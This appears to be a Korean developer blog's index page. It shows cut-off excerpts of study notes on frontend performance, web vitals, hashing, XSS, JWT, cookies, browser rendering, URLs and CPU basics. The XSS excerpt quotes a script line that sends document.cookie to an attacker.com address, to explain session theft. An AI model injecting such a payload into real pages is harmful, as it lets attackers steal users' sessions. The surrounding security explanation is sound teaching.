프론트엔드 성능 최적화를 공부하면서 가장 크게 바뀐 생각처음엔 성능 최적화라고 하면 단순히Lighthouse 점수 올리기이미지 압축하기React memo 쓰기정도로 생각했다.실제로 EC2 프리티어에 직접 배포해보면서 생각이 완전히 바뀌었다.이거 커지면 커질수록 다 돈이잖아? 번들 크기처음엔 JS 번들 크기를 너무 가볍게 봤다."요즘 인터넷 빠른데 몇 MB쯤이야"라고 생각했다.근데 AWS 프리티어 EC2에 Next.js 프로젝트를 올리는 순간 체감이 왔다.npm install 중 멈춤next build 도중 프로세스 종료메모리 부족명령어 자체가 버벅임같은 상황을 꽤 자주 경험했다.그때 처음“아 번들 크기는 단순 프론트 문제만이 아니구나”라는 걸 느꼈다.실제로는빌드 메모리서버 리소스배포 시간실행 비용까지 전부 연결되어 있었다.코드 스플리팅예전엔 dynamic import를"있으면 좋은 최적화"정도로 생각했다.근데 실제로는 초기 로딩 자체를 바꾼다.const Chart = dynamic(() => import('./Chart'));이렇게 하면 차트를 첫 화면에서 굳이 안 받아도 된다.즉초기 JS 감소초기 파싱 감소초기 실행 감소효과가 생긴다.특히 차트 라이브러리나 에디터처럼 무거운 패키지에서 체감이 크다.라이브러리 선택 처음엔 라이브러리 크기를 거의 신경 안 썼다.근데 번들 분석을 해보면 꽤 놀랍다.예를 들어moment lodash 전체 import chart library...
성능은 결국 체감이다처음엔 성능 최적화를 하면번들 크기React memoReflowtree shaking같은 기술적인 것들만 계속 보게 됐다.근데 실제 서비스를 만들다 보니사용자는 그런 걸 전혀 모른다는 걸 느꼈다.심지어 회사사람들도.... 사용자가 느끼는 건 결국 두 가지였다."언제 화면이 보이기 시작하나?" "언제 메인 콘텐츠를 볼 수 있나?"그리고 그걸 측정하는 대표적인 지표가:FCPLCP였다.FCP (First Contentful Paint)FCP는 브라우저가 처음으로 의미 있는 콘텐츠를 화면에 그리는 시점이다.예를 들어:텍스트이미지SVGcanvas같은 실제 콘텐츠가 처음 나타나는 순간을 의미한다.실제 사용자 입장에서 중요한 건완전히 로딩됐는가보다"화면이 언제부터 보이기 시작하냐"라고 한다 로딩은 아직 덜 끝났어도skeleton UI나 텍스트가 먼저 보이면사용자는 훨씬 빠르다고 느낀다.CSR 앱에서 특히 체감이 컸다React CSR만 사용했을 때 가장 많이 느꼈던 문제도 이거였다.빈 화면 → JS 다운로드...
Hashing, 생각보다 훨씬 중요한 기본기해싱(Hashing)은 데이터를 고정 길이의 임의 값으로 변환하는 과정이다.예를 들어:hello ↓ 2cf24dba5fb0......
XSS (Cross Site Scripting)XSS는 웹사이트에 악성 스크립트를 삽입해서다른 사용자의 브라우저에서 실행시키는 공격이다.핵심은“신뢰된 사이트에서 악성 스크립트가 실행된다”는 점이다.즉 사용자는"내가 믿는 사이트니까 안전하겠지"라고 생각하지만,브라우저 입장에서는그 페이지 안에 있는 스크립트는 전부 동일한 권한으로 실행된다.가장 단순한 XSS예를 들어 게시판이 있다고 하자.사용자가 입력한 내용을 그대로 렌더링한다.{content}여기에 공격자가alert('XSS')를 저장한다.그러면 다른 사용자가 글을 보는 순간브라우저에서 script 실행이 발생한다.처음엔 단순 alert 정도로 보이지만,실제로 위험한 건 그 다음이다.XSS가 무서운 이유처음엔"alert 뜨는 장난 아닌가?"싶었다.근데 실제 공격 시나리오를 보면 완전히 다르다.예를 들어fetch('https://attacker.com/steal?cookie=' + document.cookie) 같은 코드를 실행하면 쿠키 탈취가 가능해진다.즉세션 탈취사용자 권한으로 API 요청관리자 계정 악용피싱 UI 삽입까지 이어질 수 있다.React는 안전한가?React를 처음 공부했을 땐 기본적으로 자동 이스케이프를 해주지않나 했지만반만 맞는 이야기이다.{userInput}이렇게 렌더링하면같은 문자열이 실제 태그가 아니라 문자로 처리된다.즉 React는 기본적으로 → >변환을 자동 수행한다.이걸 보고그럼 React에선 XSS 걱정 안 해도 되는 거 아닌가?”라고 생각했다.근데 여기서 함정이 있었다.dangerouslySetInnerHTML의 위험성실제로 게시판이나 에디터를 만들다 보면HTML 저장마크다운 렌더링WYSIWYG 에디터같은 요구사항이 나온다.그러면 결국 이런 걸 쓰게 된다. 이 순간 React의 자동 이스케이프는 사라진다.즉"이 HTML은 안전하다고 개발자가 직접 선언"...
JWT (JSON Web Token)JWT는 사용자 정보를 JSON 형태로 담아 서명한 토큰이다.즉 서버가 세션 저장소를 직접 조회하지 않아도, 토큰 자체만으로 인증을 처리할 수 있다.처음엔 여기서 꽤 신기했다."서버에 로그인 상태를 안 저장한다고?"세션 기반 인증만 보다가 JWT를 보면 처음엔 꽤 낯설다.JWT 구조JWT는 크게 3부분으로 구성된다.Header.Payload.Signature실제로 보면 이런 형태다.xxxxx.yyyyy.zzzzzHeader토큰 타입과 알고리즘 정보가 들어간다.{ "alg": "HS256", "typ": "JWT"...
편리한 Cookie쿠키는 브라우저가 요청마다 자동으로 서버에 포함한다예를 들어Set-Cookie: token=abc123를 서버가 보내면 브라우저가 저장한다.그리고 이후 요청마다Cookie: token=abc123를 자동으로 포함한다. 개발자가 직접 넣지 않아도 된다.CSRF 조심로그인 구현할 때도쿠키 저장 → 자동 인증 유지라서 굉장히 편하다.하지만 “자동으로 전송된다”는 건 공격자 입장에서도 편한 것이기 때문에 항상 CSRF 조심! Cookie는 서버와 “함께 쓰는 저장소” 느낌쿠키는 localStorage.setItem() 처럼 프론트가 마음대로 쓰는 저장소라기보다,서버가 브라우저에게 “이 값을 저장하고, 앞으로 이런 규칙으로 보내라”고 지시하는 인증 장치에 가깝다.Set-Cookie: token=abc; HttpOnly; Secure; SameSite=Lax이 한 줄 안에 보안 정책이 들어 있다.1. Set-Cookie로그인 성공 후 서버가 응답 헤더로 보낸다.HTTP/1.1 200 OK Set-Cookie: token=abc123; HttpOnly; Secure; SameSite=Lax브라우저는 이걸 보고 쿠키 저장소에 저장한다.이후 같은 조건의 요청을 보낼 때 자동으로 붙인다.GET /mypage HTTP/1.1...
처음 프론트엔드를 공부할 땐transition transform animation같은 걸 그냥 “예쁘게 만드는 CSS” 정도로 생각했다.근데 프로젝트 규모가 커지고, 애니메이션이 많아지고, 스크롤 인터랙션이 붙기 시작하니까이상한 순간들이 보였다.스크롤이 끊김hover에서 버벅임modal 열 때 프레임 드랍모바일에서 특히 느려짐처음엔 React 렌더링 문제인 줄 알았다.근데 DevTools를 열어보니 생각보다 훨씬 아래 레벨 문제가 있었다.바로 브라우저 렌더링 과정이었다.브라우저는 생각보다 엄청 많은 일을 한다처음엔HTML + CSS...
브라우저는 서버와 “대화”하고 있다처음 개발을 공부할때는 페이지 이동을 그냥 화면 전환처럼 생각했었던것 같다. 페이지 이동도 맞지만 브라우저 ↔ 서버간의 요청/응답 흐름을 더 눈여겨 보아야하는것 같다.브라우저가 URL을 입력받으면Request 전송 → 서버 처리...
URL 구조예를 들어 이런 URL이 있다고 하자.https://www.example.com:8443/path/to/page.html?search=apple&sort=asc#reviews복잡해보이지만 실제론 브라우저와 서버가 통신하기 위한 정보가 전부 들어 있다.프로토콜 (Scheme)https이 부분은 브라우저와 서버가 어떤 방식으로 통신할지 를 의미한다.http → 일반 통신https → TLS 암호화 통신 (SSL)ftp → 파일 전송도메인 (Host)www.example.com이건 사람이 읽기 쉬운 서버 주소다.근데 브라우저는 실제로 도메인을 이해하지 못한다. 즉 결국엔 IP 주소가 필요하다.여기서 DNS가 등장한다.DNS의 개념google.com ↓ DNS 조회...
URL 하나 입력하는 순간 생각보다많은 프로세스와 스레드가 동시에 움직인다1. Handling Input브라우저 주소창에 입력하는 순간부터 이미 처리가 시작된다.예를 들어:apple를 입력했다고 하자.실제 브라우저는 먼저"이게 URL인가?" "검색어인가?"를 판단한다.검색어로 판단이 되면 https://www.google.com/search?q=apple같은 형태로 변환한다.2. Start Navigation그 다음 실제 페이지 이동이 시작된다.이 단계에서로딩 스피너 표시DNS 조회네트워크 연결 준비같은 작업이 진행된다.DNS 조회도 여기서 발생한다브라우저는 도메인을 직접 이해하지 못한다.즉example.com ↓...
웹도 컴퓨터 위에서 돌아간다처음 웹개발을 하면 cpu, ram 등 컴퓨터 기초에 대해서 자세히 공부를 해야하나? 라고 생각했지만프로젝트 규모가 커지고, 브라우저 성능 최적화를 공부하고, Next.js를 EC2에 배포하면서컴퓨터구조나 기초적인 부분들도 다 알아야하는구나 라는 생각이 자연스럽게 든것 같다. CPU는 생각보다 “직접적인 존재”JS 실행Layout 계산Paint이벤트 처리전부 CPU 작업이었다."브라우저가 느리네?" 라고 생각이들면 CPU가 레이아웃 계산을 엄청 많이 수행하기 때문일수 있다. 프로그램은 CPU가 직접 실행한다우리가 작성한 JavaScript 코드도 결국 CPU가 실행한다.예를 들어 이런 코드가 있다고 해보자.const result = 10 + 20; console.log(result);개발자는 이 코드를 JavaScript로 작성하지만, 컴퓨터 입장에서는 결국 명령어를 해석하고 계산해야 한다.이때 CPU가 실제 연산을 수행한다.단순하게 보면 흐름은 이렇다.1. 프로그램 파일은 디스크에 저장되어 있다. 2. 실행하면 필요한 데이터가 RAM에 올라간다....